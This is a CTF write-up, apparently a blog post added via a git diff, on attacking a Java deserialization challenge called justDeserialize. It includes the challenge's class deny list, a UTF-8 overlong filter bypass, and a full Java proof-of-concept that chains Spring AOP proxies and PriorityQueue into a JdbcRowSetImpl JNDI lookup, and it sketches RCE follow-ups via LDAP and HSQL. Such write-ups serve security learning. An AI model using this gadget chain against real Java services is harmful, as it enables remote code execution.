|
| 1 | ++++ |
| 2 | +date = '2025-03-24T22:00:00+08:00' |
| 3 | +draft = false |
| 4 | +title = '软件攻防赛现场赛上对justDeserialize攻击的几次尝试' |
| 5 | +author='GSBP' |
| 6 | +categories=["Java安全","WP"] |
| 7 | ++++ |
| 8 | + |
| 9 | +## 前言 |
| 10 | + |
| 11 | +一个关于本地打通无数次但远程0次的故事 |
| 12 | + |
| 13 | +## 题目分析 |
| 14 | + |
| 15 | +题目直接给了一个反序列化的入口点 |
| 16 | + |
| 17 | + |
| 18 | + |
| 19 | +其中有两层防御 |
| 20 | + |
| 21 | +- 对我们的反序列化数据流中的明文进行简单判断过滤 |
| 22 | +- 使用了一个自定义反序列化类来对我们的反序列化数据流进行反序列化 |
| 23 | + |
| 24 | +其中自定义化反序列化类代码如下 |
| 25 | + |
| 26 | +``` |
| 27 | +// |
| 28 | +// Source code recreated from a .class file by IntelliJ IDEA |
| 29 | +// (powered by FernFlower decompiler) |
| 30 | +// |
| 31 | +
|
| 32 | +package com.example.ezjav.utils; |
| 33 | +
|
| 34 | +import java.io.BufferedReader; |
| 35 | +import java.io.ByteArrayInputStream; |
| 36 | +import java.io.IOException; |
| 37 | +import java.io.InputStream; |
| 38 | +import java.io.InputStreamReader; |
| 39 | +import java.io.InvalidClassException; |
| 40 | +import java.io.ObjectInputStream; |
| 41 | +import java.io.ObjectStreamClass; |
| 42 | +import java.util.ArrayList; |
| 43 | +
|
| 44 | +public class MyObjectInputStream extends ObjectInputStream { |
| 45 | + private String[] denyClasses; |
| 46 | +
|
| 47 | + public MyObjectInputStream(ByteArrayInputStream var1) throws IOException { |
| 48 | + super(var1); |
| 49 | + ArrayList<String> classList = new ArrayList(); |
| 50 | + InputStream file = MyObjectInputStream.class.getResourceAsStream("/blacklist.txt"); |
| 51 | + BufferedReader var2 = new BufferedReader(new InputStreamReader(file)); |
| 52 | +
|
| 53 | + String var4; |
| 54 | + while((var4 = var2.readLine()) != null) { |
| 55 | + classList.add(var4.trim()); |
| 56 | + } |
| 57 | +
|
| 58 | + this.denyClasses = new String[classList.size()]; |
| 59 | + classList.toArray(this.denyClasses); |
| 60 | + } |
| 61 | +
|
| 62 | + protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { |
| 63 | + String className = desc.getName(); |
| 64 | + int var5 = this.denyClasses.length; |
| 65 | +
|
| 66 | + for(int var6 = 0; var6 < var5; ++var6) { |
| 67 | + String denyClass = this.denyClasses[var6]; |
| 68 | + if (className.startsWith(denyClass)) { |
| 69 | + throw new InvalidClassException("Unauthorized deserialization attempt", className); |
| 70 | + } |
| 71 | + } |
| 72 | +
|
| 73 | + return super.resolveClass(desc); |
| 74 | + } |
| 75 | +} |
| 76 | +``` |
| 77 | + |
| 78 | +从**blacklist**中读取baned类,且在`resolveClass`中进行过滤 |
| 79 | + |
| 80 | +blacklist.txt |
| 81 | + |
| 82 | +``` |
| 83 | +javax.management.BadAttributeValueExpException |
| 84 | +com.sun.org.apache.xpath.internal.objects.XString |
| 85 | +java.rmi.MarshalledObject |
| 86 | +java.rmi.activation.ActivationID |
| 87 | +javax.swing.event.EventListenerList |
| 88 | +java.rmi.server.RemoteObject |
| 89 | +javax.swing.AbstractAction |
| 90 | +javax.swing.text.DefaultFormatter |
| 91 | +java.beans.EventHandler |
| 92 | +java.net.Inet4Address |
| 93 | +java.net.Inet6Address |
| 94 | +java.net.InetAddress |
| 95 | +java.net.InetSocketAddress |
| 96 | +java.net.Socket |
| 97 | +java.net.URL |
| 98 | +java.net.URLStreamHandler |
| 99 | +com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl |
| 100 | +java.rmi.registry.Registry |
| 101 | +java.rmi.RemoteObjectInvocationHandler |
| 102 | +java.rmi.server.ObjID |
| 103 | +java.lang.System |
| 104 | +javax.management.remote.JMXServiceUR |
| 105 | +javax.management.remote.rmi.RMIConnector |
| 106 | +java.rmi.server.RemoteObject |
| 107 | +java.rmi.server.RemoteRef |
| 108 | +javax.swing.UIDefaults$TextAndMnemonicHashMap |
| 109 | +java.rmi.server.UnicastRemoteObject |
| 110 | +java.util.Base64 |
| 111 | +java.util.Comparator |
| 112 | +java.util.HashMap |
| 113 | +java.util.logging.FileHandler |
| 114 | +java.security.SignedObject |
| 115 | +javax.swing.UIDefaults |
| 116 | +``` |
| 117 | + |
| 118 | +## 解决思考 |
| 119 | + |
| 120 | +### 第一步 |
| 121 | + |
| 122 | +对于第一层防御,我们可以很简单的绕过,对此我有以下两种绕过方式 |
| 123 | + |
| 124 | +- UTF8OverlongEncoding |
| 125 | +- 不使用存在这些字符串的类(com.sun,naming,jdk.jfr) |
| 126 | + |
| 127 | +这个很简单,就不多说了 |
| 128 | + |
| 129 | +第二层的resolveClass,我们只能选择不使用blacklist上面的类来达到攻击目的,经过我的排查,我手里刚好就有这么一段链子任何关键类都不在blacklist中,那就是springaop链 |
| 130 | + |
| 131 | +简单小引-> https://gsbp0.github.io/post/springaop/ |
| 132 | + |
| 133 | + |
| 134 | + |
| 135 | +在我上面的文章中,我最后是用的toString来触发aop动态代理的invoke方法,不过我在文章提到过,只要不是`equals,hashcode`这俩方法触发invoke,其他都是可以走完整条反序列化链 |
| 136 | + |
| 137 | +我在比赛过程中由题目中存在的User类的`compare`方法受到启发,选择了CC2和CB中都用到的`PriorityQueue`那一段来触发compare |
| 138 | + |
| 139 | +下面是cb的部分poc |
| 140 | + |
| 141 | +``` |
| 142 | + BeanComparator CB=new BeanComparator(); |
| 143 | + CB.setProperty("outputProperties"); |
| 144 | + PriorityQueue PQ=new PriorityQueue(1); |
| 145 | + PQ.add(1); |
| 146 | + PQ.add(2); |
| 147 | +
|
| 148 | + reflectSet(PQ,"comparator",CB); |
| 149 | + reflectSet(PQ,"queue",new Object[]{TPI,TPI}); |
| 150 | +``` |
| 151 | + |
| 152 | + |
| 153 | + |
| 154 | +ok,那直接拼到aop链的后面看看情况 |
| 155 | + |
| 156 | +结果触发了报错 |
| 157 | + |
| 158 | +``` |
| 159 | +Exception in thread "main" java.lang.IllegalArgumentException: Can not set final java.util.Comparator field java.util.PriorityQueue.comparator to com.sun.proxy.$Proxy3 |
| 160 | + at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167) |
| 161 | + at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171) |
| 162 | + at sun.reflect.UnsafeQualifiedObjectFieldAccessorImpl.set(UnsafeQualifiedObjectFieldAccessorImpl.java:83) |
| 163 | + at java.lang.reflect.Field.set(Field.java:764) |
| 164 | + at Utils.Util.setFieldValue(Util.java:38) |
| 165 | + at Test.main(Test.java:30) |
| 166 | +``` |
| 167 | + |
| 168 | +因为我们的proxy类没有实现`comparator`接口,那这里我们可以通过在外面**再次**包一层代理,且代理comparator接口即可 |
| 169 | + |
| 170 | +至于触发类,我们可以选择`LdapAttribute`这么一个jndi注入类,也可以选择`JdbcRowSetImpl`,不过需要utf8overlong麻烦一点 |
| 171 | + |
| 172 | +#### POC |
| 173 | + |
| 174 | +``` |
| 175 | +import Utils.Util; |
| 176 | +import com.sun.rowset.JdbcRowSetImpl; |
| 177 | +import org.aopalliance.aop.Advice; |
| 178 | +import org.aopalliance.intercept.MethodInterceptor; |
| 179 | +import org.springframework.aop.aspectj.AbstractAspectJAdvice; |
| 180 | +import org.springframework.aop.aspectj.AspectJAroundAdvice; |
| 181 | +import org.springframework.aop.aspectj.AspectJExpressionPointcut; |
| 182 | +import org.springframework.aop.aspectj.SingletonAspectInstanceFactory; |
| 183 | +import org.springframework.aop.framework.AdvisedSupport; |
| 184 | +import org.springframework.aop.support.DefaultIntroductionAdvisor; |
| 185 | +
|
| 186 | +import java.lang.reflect.*; |
| 187 | +import java.util.*; |
| 188 | +
|
| 189 | +public class Test { |
| 190 | + public static void main(String[] args) throws Exception { |
| 191 | +
|
| 192 | + JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); |
| 193 | + jdbcRowSet.setDataSourceName("ldap://127.0.0.1:50389/3fa0f4"); |
| 194 | + Method method=jdbcRowSet.getClass().getMethod("getDatabaseMetaData"); |
| 195 | + System.out.println(method); |
| 196 | + SingletonAspectInstanceFactory factory = new SingletonAspectInstanceFactory(jdbcRowSet); |
| 197 | + AspectJAroundAdvice advice = new AspectJAroundAdvice(method,new AspectJExpressionPointcut(),factory); |
| 198 | + Proxy proxy1 = (Proxy) getAProxy(advice,Advice.class); |
| 199 | + Proxy finalproxy=(Proxy) getBProxy(proxy1,new Class[]{Comparator.class}); |
| 200 | + PriorityQueue PQ=new PriorityQueue(1); |
| 201 | + PQ.add(1); |
| 202 | + PQ.add(2); |
| 203 | +
|
| 204 | + Util.setFieldValue(PQ,"comparator",finalproxy); |
| 205 | + Util.setFieldValue(PQ,"queue",new Object[]{proxy1,proxy1}); |
| 206 | + System.out.println(Util.serialize(PQ)); |
| 207 | + Util.deserialize(Util.serialize(PQ)); |
| 208 | +
|
| 209 | +
|
| 210 | + } |
| 211 | + public static Object getBProxy(Object obj,Class[] clazzs) throws Exception |
| 212 | + { |
| 213 | + AdvisedSupport advisedSupport = new AdvisedSupport(); |
| 214 | + advisedSupport.setTarget(obj); |
| 215 | + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); |
| 216 | + constructor.setAccessible(true); |
| 217 | + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); |
| 218 | + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler); |
| 219 | + return proxy; |
| 220 | + } |
| 221 | + public static Object getAProxy(Object obj,Class<?> clazz) throws Exception |
| 222 | + { |
| 223 | + AdvisedSupport advisedSupport = new AdvisedSupport(); |
| 224 | + advisedSupport.setTarget(obj); |
| 225 | + AbstractAspectJAdvice advice = (AbstractAspectJAdvice) obj; |
| 226 | +
|
| 227 | + DefaultIntroductionAdvisor advisor = new DefaultIntroductionAdvisor((Advice) getBProxy(advice, new Class[]{MethodInterceptor.class, Advice.class})); |
| 228 | + advisedSupport.addAdvisor(advisor); |
| 229 | + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); |
| 230 | + constructor.setAccessible(true); |
| 231 | + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); |
| 232 | + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler); |
| 233 | + return proxy; |
| 234 | + } |
| 235 | +
|
| 236 | +} |
| 237 | +``` |
| 238 | + |
| 239 | +### 第二步 |
| 240 | + |
| 241 | +#### 第一种方法-Ldap_SERIALIZE_DATA |
| 242 | + |
| 243 | +家喻户晓的办法,因为题目jar包上的编译版本是11,还没有受到强制类隔离的要求,可以随便打`Jackson`那一套反序列化,或者是再走一边我们的AOP链但触发类换成可RCE的`Template`类 |
| 244 | + |
| 245 | +这里我用的JNDIMap |
| 246 | + |
| 247 | + |
| 248 | + |
| 249 | + |
| 250 | + |
| 251 | +ok本地成功RCE |
| 252 | + |
| 253 | +但是放到远程直接失败GG,我开始思考我的问题 |
| 254 | + |
| 255 | +`ok可能是环境里设置了com.sun.jndi.ldap.object.trustSerialData为false,合理合理` |
| 256 | + |
| 257 | +开始第二种方法 |
| 258 | + |
| 259 | +#### 第二种方法-hsql二次反序列化 |
| 260 | + |
| 261 | +Ok,我们这里直接看题目的依赖 |
| 262 | + |
| 263 | + |
| 264 | + |
| 265 | +`druid+hsql`,再加上题目名`justDeserialize`,指向性很明显了,我们打jndi_Reference触发`DruidDataSourceFactory`的getObjectInstance方法来打hsql-JDBC,触发hsql里的SerializationUtils二次反序列化实现RCE |
| 266 | + |
| 267 | +这里我使用了[java-chains](https://github.com/vulhub/java-chains) |
| 268 | + |
| 269 | + |
| 270 | + |
| 271 | +二次反序列化数据塞的我自己生成的AOP+springEcho内存马链子,这里也可以用这个工具自带的反序列化生成工具生成,也挺好用的 |
| 272 | + |
| 273 | +然后再打! |
| 274 | + |
| 275 | + |
| 276 | + |
| 277 | +ok本地又通了,打远程! |
| 278 | + |
| 279 | +那么问题再次来袭,我抱着满怀期待再去打远程的时候,又没通,直接道心崩溃了,后续不知道怎么打了,并且也没有题目环境,不知道啥问题qaq |
| 280 | + |
| 281 | +## 结尾 |
| 282 | + |
| 283 | +不是很清楚这远程的环境,比赛的时候破大防,如果有师傅在比赛的时候打通了这道题希望能告诉我一下咋打的QAQ |
0 commit comments